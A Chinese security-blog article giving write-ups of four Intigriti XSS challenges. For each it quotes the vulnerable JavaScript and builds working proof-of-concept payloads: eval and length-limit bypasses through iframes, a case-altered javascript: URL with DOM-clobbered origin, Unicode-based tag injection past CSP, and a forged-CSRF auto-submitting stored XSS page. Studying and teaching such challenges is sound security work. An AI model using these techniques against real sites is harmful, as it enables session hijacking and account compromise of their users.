Intigriti XSS 系列挑战 Writeups

阅读量646407

|评论2

|

发布时间 : 2021-05-06 10:30:15

 

0x01 xss challenge 1220

题目概述

地址:https://challenge-1220.intigriti.io/ ,挑战有以下要求:

  • 使用最新版的Firefox或者Chrome浏览器
  • 执行JS:alert(document.domian)
  • 在域名challenge-1220.intigriti.io下被执行
  • 不允许self-XSS 和 MiTM 攻击

思路分析

可以看到页面上有一个计算器,尝试进行一些简单的操作,能发现url中会加入一些参数:

https://challenge-1220.intigriti.io/?num1=6&operator=%2B&num2=6

检查页面源码,查看JS文件script.js:

window.name = "Intigriti's XSS challenge";

const operators = ["+", "-", "/", "*", "="];
function calc(num1 = "", num2 = "", operator = ""){
  operator = decodeURIComponent(operator);
  var operation = `${num1}${operator}${num2}`;
  document.getElementById("operation").value = operation;
  if(operators.indexOf(operator) == -1){
    throw "Invalid operator.";
  }
  if(!(/^[0-9a-zA-Z-]+$/.test(num1)) || !(/^[0-9a-zA-Z]+$/.test(num2))){
    throw "No special characters."
  }
  if(operation.length > 20){
    throw "Operation too long.";
  }
  return eval(operation);
}

function init(){
  try{
    document.getElementById("result").value = calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator"));
  }
  catch(ex){
    console.log(ex);
  }
}

function getQueryVariable(variable) {
    window.searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length);
    var vars = searchQueryString.split('&');
    var value;
    for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split('=');
        if (decodeURIComponent(pair[0]) == variable) {
            value = decodeURIComponent(pair[1]);
        }
    }
    return value;
}

/*
 The code below is calculator UI and not part of the challenge
*/

window.onload = function(){
 init();
 var numberBtns = document.body.getElementsByClassName("number");
 for(var i = 0; i < numberBtns.length; i++){
   numberBtns[i].onclick = function(e){
     setNumber(e.target.innerText)
   };
 };
 var operatorBtns = document.body.getElementsByClassName("operator");
 for(var i = 0; i < operatorBtns.length; i++){
   operatorBtns[i].onclick = function(e){
     setOperator(e.target.innerText)
   };
 };

  var clearBtn = document.body.getElementsByClassName("clear")[0];
  clearBtn.onclick = function(){
    clear();
  }
}

function setNumber(number){
  var url = new URL(window.location);
  var num1 = getQueryVariable('num1') || 0;
  var num2 = getQueryVariable('num2') || 0;
  var operator = getQueryVariable('operator');
  if(operator == undefined || operator == ""){
    url.searchParams.set('num1', parseInt(num1 + number));
  }
  else if(operator != undefined){
    url.searchParams.set('num2', parseInt(num2 + number));
  }
  window.history.pushState({}, '', url);
  init();
}

function setOperator(operator){
  var url = new URL(window.location);
  if(getQueryVariable('num2') != undefined){ //operation with previous result
    url.searchParams.set('num1', calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator")));
    url.searchParams.delete('num2');
    url.searchParams.set('operator', operator);
  }
  else if(getQueryVariable('num1') != undefined){
    url.searchParams.set('operator', operator);
  }
  else{
    alert("You need to pick a number first.");
  }
  window.history.pushState({}, '', url);
  init();
}

function clear(){
    var url = new URL(window.location);
    url.searchParams.delete('num1');
    url.searchParams.delete('num2');
    url.searchParams.delete('operator');
    window.history.pushState({}, '', url);
    document.getElementById("result").value = "";
    init();
}

可以看到cals()函数包含eval(),但同时也对参数的类型和长度进行了一些限制:

27e25bc5b85ec9fe9bc0f9a2849a4eb1.png!

这里先忽略长度20的限制。如果我们能控制location的值就可以执行xss:

所以我们需要找到一个可控的全局变量:

经过分析,发现searchQueryString,内容就是URL后面附加的一堆参数:

window.searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length);

因此,构造payload?javascript:alert(1)//num1=9&operator=%2B&num2=searchQueryString,则searchQueryString的值就包含javascript:alert(1):

现在只需要让location等于searchQueryString,构造payload:?javascript:alert(1)//&num1=loaction&operator=-&num2=searchQueryString:

但在执行过程中eval(operation);operationlocation=searchQueryString,长度超过20被限制。因此,现在需要绕过长度20的限制。

为了能缩短长度,经过研究,可以首先让a=searchQueryString(len=19),然后再让location=a(len=10):

为了达到这个目标,需要以下条件:

  • 整个过程需要至少执行两次(a=searchQueryStringlocation=a
  • 在两次执行中,需要能改变参数num1 num2的值(两次执行对应的参数值不同)

通过观察,clear()函数与window.onload均包含init():

POC

a.有交互

利用clear()函数实现xss,需要用户交互,构造payload:

# html
<iframe id="intigriti" src="https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=a&operator=%3D&num2=searchQueryString"  style="border-style:none;" width=500 hight=500></iframe>

# javascritp

setTimeout(secondchange, 1000);
function secondchange() {
    document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=location&operator=%3D&num2=a";
}

点击计算器C键,调用clear() ==> init(),实现第二次执行,成功实现xss:

b.无交互

为了实现无需用户交互下的xss,可用构造onhashchange="init" 事件,每当hash变化后就调用init:

# html
<iframe id="intigriti" src="https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=onhashchange&operator=%3D&num2=init"  style="border-style:none;" width=500 hight=500></iframe>

# javascritp

setTimeout(firstchange, 1000);
setTimeout(secondchange, 2000);

function firstchange() {
  document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=a&operator=%3D&num2=searchQueryString";
}

function secondchange() {
    document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=location&operator=%3D&num2=a";
}

 

0x02 xss challenge 0121

题目概述

地址:https://challenge-0121.intigriti.io/ ,挑战有以下要求:

  • 使用最新版的Firefox或者Chrome浏览器
  • 通过alert()弹出 {THIS_IS_THE_FLAG}
  • 利用此页面的xss漏洞
  • 不允许self-XSS 和 MiTM 攻击

思路分析

查看网页JS代码:

  window.href = new URL(window.location.href);
  window.r = href.searchParams.get("r");
  //Remove malicious values from href, redirect, referrer, name, ...
  ["document", "window"].forEach(function(interface){
    Object.keys(window[interface]).forEach(function(globalVariable){
        if((typeof window[interface][globalVariable] == "string") && (window[interface][globalVariable].indexOf("javascript") > -1)){
            delete window[interface][globalVariable];
        }
    });
  });

  window.onload = function(){
    var links = document.getElementsByTagName("a");
    for(var i = 0; i < links.length; i++){
      links[i].onclick = function(e){
        e.preventDefault();
        safeRedirect(e.target.href);
      }
    }
  }
  if(r != undefined){
    safeRedirect(r);
  }
  function safeRedirect(url){
    if(!url.match(/[<>"' ]/)){
      window.setTimeout(function(){
          if(url.startsWith("https://")){
            window.location = url;
          }
          else{ //local redirect
            window.location = window.origin + "/" + url;
          }
          window.setTimeout(function(){
            document.getElementById("error").style.display = "block";
          }, 1000);
      }, 5000);
      document.getElementById("popover").innerHTML = `
        <p>You're being redirected to ${url} in 5 seconds...</p>
        <p id="error" style="display:none">
          If you're not being redirected, click <a href=${url}>here</a>
        </p>.`;
    }
    else{
      alert("Invalid URL.");
    }
  }

首先定义了一个搜索参数rwindow.r = href.searchParams.get("r");,然后对document window的所有属性进行循环检查并加限制,如果属性为字符串且包含javastript,则被删除:

最后可以看到一个可疑的safeRedirect()函数,当r未定义就会被传入到这个函数中。并且对参数url进行了限制,不允许包含< > " ' (空格) ,如果urlhttps://开头,window.location设为该URL;如果不是,则将window.location 设为window.origin + "/" + url。此外,通过error的重定向,可以将<a href=${url}>here</a>嵌入到网页中。

综上分析,目前有几个点需要突破:

  • javastript 不能出现在r参数中;
  • < > " ' (空格) 不能出现在r参数中;
  • 通过error信息嵌入html标签;
  • 由于window.originhttps://challenge-0121.intigriti.io 所以url总以https://开头,则不能被控制;

首先尝试进行一个简单的重定向尝试,输出入https://challenge-0121.intigriti.io/?r=aaaaaa被重定向到 https://challenge-0121.intigriti.io/aaaaaa 且嵌入了标签:

当将%0a插入到r的值中,如r=aaa%0aaaa=bbb时,嵌入的标签就可以被控制:

为了能使window.location 被设为window.origin + "/" + url,则需要window.orgin不以https://开头,但该默认网页的window.orgin无法更改(总是https://challenge-0121.intigriti.io),所以这里需要换一种思路思考。

我注意到本题的要求“通过alert()弹出 {THIS_IS_THE_FLAG}”“在这个页面实现XSS” ,而不像其他题目需要执行“alert(document.domian)或者alert(origin)”“在域名challenge.intigriti.io在实现XSS”,那么有可能通过本挑战一个特定的子域名*.challenge-0121.intigriti.io来控制window.origin的值,从而达到控制window.location 的目的。

通过Sublist3r工具进行寻找,发现了子域名:javascript.challenge-0121.intigriti.iowindow.origin没有被定义:

https://javascript.challenge-0121.intigriti.io/?r=aaaaaa被重定向到https://javascript.challenge-0121.intigriti.io/undefined/aaaaaa

如此一来,结合前面的可控的嵌入的html标签,即可控制window.origin的值。构造r=aaa%0aid=origin

进一步构造r=https://attack.com%0aid=origin,可以看到:

并且被重定向到attack的地址:

利用大小写可以绕过“javastript 不能出现在r参数中”的限制,因此,我们可以构造payload:r=jAvascript:alert(1)/%0aid=origin,即可执行xss:

为了弹出 {THIS_IS_THE_FLAG},由于< > " ' (空格) 不能出现在r参数中,可以使用 `号;或者使用flag.innerHTML

POC

最终的payload:

https://javascript.challenge-0121.intigriti.io/?r=jAvascript:alert(flag.innerHTML)/%0aid=origin

https://javascript.challenge-0121.intigriti.io/?r=jAvascript:alert(`{THIS_IS_THE_FLAG}`)/%0aid=origin

 

0x03 xss challenge 0221

题目概述

地址:https://challenge-0221.intigriti.io/
该挑战是根据真实漏洞场景改编而来,挑战有以下要求:

  • 触发alert(origin)
  • 绕过CSP限制
  • 不需要用户交互
  • 使用最新版的Firefox或者Chrome浏览器
  • 利用此页面的xss漏洞
  • 不允许self-XSS 和 MiTM 攻击

思路分析

首先分析网页功能,随便输入一些字符串:

可以看到网页反馈提示收到提交信息,并可以生成一个share link。点击share link,浏览器地址栏生成带有参数的地址如下:

https://challenge-0221.intigriti.io/?assignmentTitle=aaaaaaaaaaaa&assignmentText=aaaaaaaaaaaaaaaaa...

由此可以判定,可以利用参数值构造payload形成xss。

检查网页源码,发现script.js:

function startGrade() {
  var text = document.getElementById("assignmentText").value;
  checkLength(text);
  result = window.result || {
    message: "Your submission is too short.",
    error: 1,
  }; //If the result object hasn't been defined yet, the submission must be too short
  if (result.error) {
    endGrade();
  } else {
    getQAnswer();
    if (!passQuiz()) {
      result.message = "We don't allow robots at the Unicodeversity (yet)!";
      result.error = 1;
    } else {
      result.grade = "ABCDEF"[Math.floor(Math.random() * 6)]; //Don't tell the students we don't actually read their submissions
    }
    endGrade();
  }
}

function endGrade() {
  document.getElementById("message").innerText = result.message;
  if (result.grade) {
    document.getElementById(
      "grade"
    ).innerText = `You got a(n) ${result.grade}!`;
  }
  document.getElementById("share").style.visibility = "initial";
  document.getElementById(
    "share-link"
  ).href = `https://challenge-0221.intigriti.io/?assignmentTitle=${
    document.getElementById("assignmentTitle").value
  }&assignmentText=${document.getElementById("assignmentText").value}`;
  delete result;
}

function checkLength(text) {
  if (text.length > 50) {
    result = { message: "Thanks for your submission!" };
  }
}

function getQAnswer() {
  var answer = document.getElementById("answer").value;
  if (/^[0-9]+$/.test(answer)) {
    if (typeof result !== "undefined") {
      result.questionAnswer = { value: answer };
    } else {
      result = { questionAnswer: { value: answer } };
    }
  }
}

function passQuiz() {
  if (typeof result.questionAnswer !== "undefined") {
    return eval(result.questionAnswer.value + " == " + question);
  }
  return false;
}

var question = `${Math.floor(Math.random() * 10) + 1} + ${
  Math.floor(Math.random() * 10) + 1
}`;

document.getElementById("question").innerText = `${question} = ?`;

document.getElementById("submit").addEventListener("click", startGrade);

const urlParams = new URLSearchParams(location.search);
if (urlParams.has("autosubmit")) {
  startGrade();
}

script.js进行分析,发现几个有意思的点。一是passQuiz函数中存在eval方法,可能会被用来执行我们的js payload:

其中result.questionAnswer.valuegetAnswer函数获得,但对answer参数进行了限制,只能是数字。

第二个点是,url中可以包含autosubmit参数,可以用来满足题目中”不需要用户交互”的要求:

从页面的提示,该挑战涉及到 Unicode编码:

Welcome to the Unicodeversity’s Well-trusted Assignment Computer Knowledge system, where we primarily focus on your ability to use cool Unicode and not so much on the content of your submissions

尝试输入特殊的Unicode字符π(U+03C0)。当直接在输入框中输时,页面不允许:

直接在url中输入,可以看到页面显示如下:

其中(特殊方框)+c0引起了我的注意。通过查询(特殊方框)可知它为U+0003

以此为例,通过其他Unicode字符测试可以判定,当我们输入一个特定的Unicode字符形如 U+abcd 时,会被解析为U+00ab+cd

由于输入在<inupt>标签中,我们需要对标签进行闭合,构造xss payload。首先的思路是尝试通过"value=进行闭合,并添加事件属性onmouseover=alert(1)。依照次思路,我们需要按照页面解析Unicode字符的规律进行构造payload。

" —— U+0022
∢ —— U+2222

因为"的Unicode编码为U+0022,则∢( U+2222)会被解析为"+22,从而成功闭合:

构造payload ∢ onmouseover=alert(1)&autosubmit 没有被执行,发现被CSP拦截:

此路不通,需要换个角度执行js。页面允许script.js执行,可以用来绕过CSP。通过上面对script.js的分析,我们可以利用eval方法执行payload。那么现在的问题就变成了,如何操控result.questionAnswer.value。从上面的分析可以知道,想绕过getAnswer函数的限制是不可能的。通过分析result并没有定义:

所以我们可以自己定义result进而操控最终的result.questionAnswer.value
首先通过直接修改页面Html验证可行性。如果我们在页面中插入<input id=result>,则能定位到result:

为了能进一步定位到queationAnswer,构造新的标签<input id=result name=questionAnswer value=alert(1)>,并使得value=alert(1):

这时,当eval(result.questionAnswer.value + " == " + question);语句被执行时,我们已经将result.questionAnswer.value的值覆盖为alert(1),便可成功弹窗:

以上思路的可行性验证完毕,需要构造如下payload,首先对原始的input标签进行闭合,然后插入新的标签:

">
<input id=result>
<input id=result name=questionAnswer value=alert(1)>

寻找特殊的Unicode字符:

" —— U+0022    ∢ —— U+2222   ===>  "22
> —— U+003E    㺪 —— U+3EAA   ===>  >aa
< —— U+003C    㲪 —— U+3EAA   ===>  <aa

所以,进行Unicode替换的payload为:

∢㺪㲪input%20id=result㺪㲪input%20id=result%20name=questionAnswer%20value=alert(1)㺪&autosubmit

但payload并没有成功执行,原因是㲪(U+3EAA)input 形成了<aainput这一无效标签。由于页面对Unicode字符的解析,必然导致最后两位字符一直存在,无法去除。所以需要对这两位字符进行利用。思路是构造(后两位字符)+(某个字符串)的一个有效的标签,且允许含有value属性。

通过对html 标签进行研究,最终找到<data>标签满足需求:

POC

构造以<data>为基础的有效payload:

">
<data id=result>
<data id=result name=questionAnswer value=alert(1)>

需要的特殊Unicode字符为:

㳚 —— U+3EDA + 'ta'  ===> <da+'ta'  ===>  <data

最终payload为:

∢㺪㳚ta%20id=result㺪㳚ta%20id=result%20name=questionAnswer%20value=alert(origin)㺪&autosubmit

 

0x04 xss challenge 0321

地址: https://challenge-0321.intigriti.io/,有如下要求:

  • 使用最新版的Firefox或者Chrome浏览器
  • 通过alert()弹出 flag{THIS_IS_THE_FLAG}
  • 利用此页面的xss漏洞
  • 不允许self-XSS 和 MiTM 攻击

思路分析

查看网页源码,view-source:https://challenge-0321.intigriti.io/,无法访问:

不过用Devtools可以查看,通过对网页功能进行简要测试,发现在输入框中,可以输入和保存notes,输入也是实时更新在html页面中,同时带有特定的CSRF值:

因为contenteditable属性允许用户直接修改html中的元素内容,详见:https://html.spec.whatwg.org/multipage/interaction.html#attr-contenteditable

此外,经过大量的字符测试,发现网页有一个特殊的特性。例如我们输入ftp://attack.com或者http://attack.com这类带有协议名的特殊输入并保存,网页会生成一个特定的<a ...>标签:

这样我们便有了一个可控的标签,输入一些特殊字符尝试构造闭合,发现网页对' "等特殊字符进行了过滤,进行了截断,无法与包含协议名的payload构造为一个整体形成构造闭合:

通过将更改POST数据中csrf notes的类型(加上[] ,这是曾经做CTF题型时学习到的一个思路),可以看到一些有趣的信息:

这里发现对于notes的输入是由PHPhtmlspecialchars()过滤的,这里查询了相关资料,并进行了字符集的测试,发现了类似于邮箱的地址xss@attack.com可以被成功输入,并且也能使网页自动添加<a ...>

通过RFC2822 可以知道,邮箱名中可以包含很多特殊的字符,例如"xss"@attack.com依然可以被认定为一个合法的邮箱地址,并能够构造闭合,让我们控制标签内容:

构造payload:"onclick=alert(1);"@attack.com,即可实现self-xss:

由于题目不允许self-xss,所以我们需要从绕过csrf的角度入手,实现无需交互的xss。如果csrf令牌不正确,则会显示403:

我们知道csrf令牌都是动态生成的,通常情况下该令牌可以由时间戳的加密哈希或者一些随机输入的加密哈希生成。这里我们坚持页面源码注意到包含页面的生成时间:

<input type="hidden" name="csrf" value="f20927170100763667bf20d684f36515"/>
...

...
<!-- page generated at 2021-04-21 13:43:41 -->

经过测试将日期转为时间戳并通过MD5加密,得到了相同的结果,由此,便可以绕过csrf的限制:

现在,我们需要能够进行MD5加密的JS,可以从以下地址获得:

# CryptoJS.MD5()

https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js

为了保证我们生成的csrf令牌与网页自动生成的一直,需要查看攻击服务器的时间戳与题目网页时间戳之间的误差:

可以看到两个时间戳之间存在8小时时差,通过调整,可以使攻击服务器生成了csrf令牌与网页生成的令牌一致:

POC

综合上面的思路,可以构造以下poc:

<html>
<head>
    <title>xss</title>
</head>
<body>
    <iframe src="https://challenge-0321.intigriti.io/" width="1000" height="1000"></iframe>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/md5.js"></script>
    <form method="POST" action="https://challenge-0321.intigriti.io/" id="send">
        <input type="hidden" name="csrf" id="csrf" value="">
        <input type="hidden" id="payload" name="notes" value="">
    </form>
    <script>
        var ts0 = Date.parse(new Date());
        var ts1 = String(ts0).substring(0,10);
        var passhash = CryptoJS.MD5(ts1).toString();
        function add0(m){return m<10?'0'+m:m }
        function format(date){
          var time = new Date(date);
          var y = time.getFullYear();
          var m = time.getMonth()+1;
          var d = time.getDate();
          var h = time.getHours()-8;
          var mm = time.getMinutes();
          var s = time.getSeconds();
          dd = y+'-'+add0(m)+'-'+add0(d)+' '+add0(h)+':'+add0(mm)+':'+add0(s);
          return dd;
        }
        console.log(format(ts0));
        console.log(ts0);
        console.log(ts1);
        console.log(passhash); 
        setTimeout(xss, 100);
        function xss(){
          document.getElementById("csrf").value = passhash;
          document.getElementById("payload").value = "\"onmouseover=alert('flag{THIS_IS_THE_FLAG}');\"@attack.com";
          document.getElementById("send").submit();
          }
    </script>
</body>
</html>

本文由米利特瑞先生原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/239198

安全客 - 有思想的安全新媒体

分享到:微信
+18赞
收藏
米利特瑞先生
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66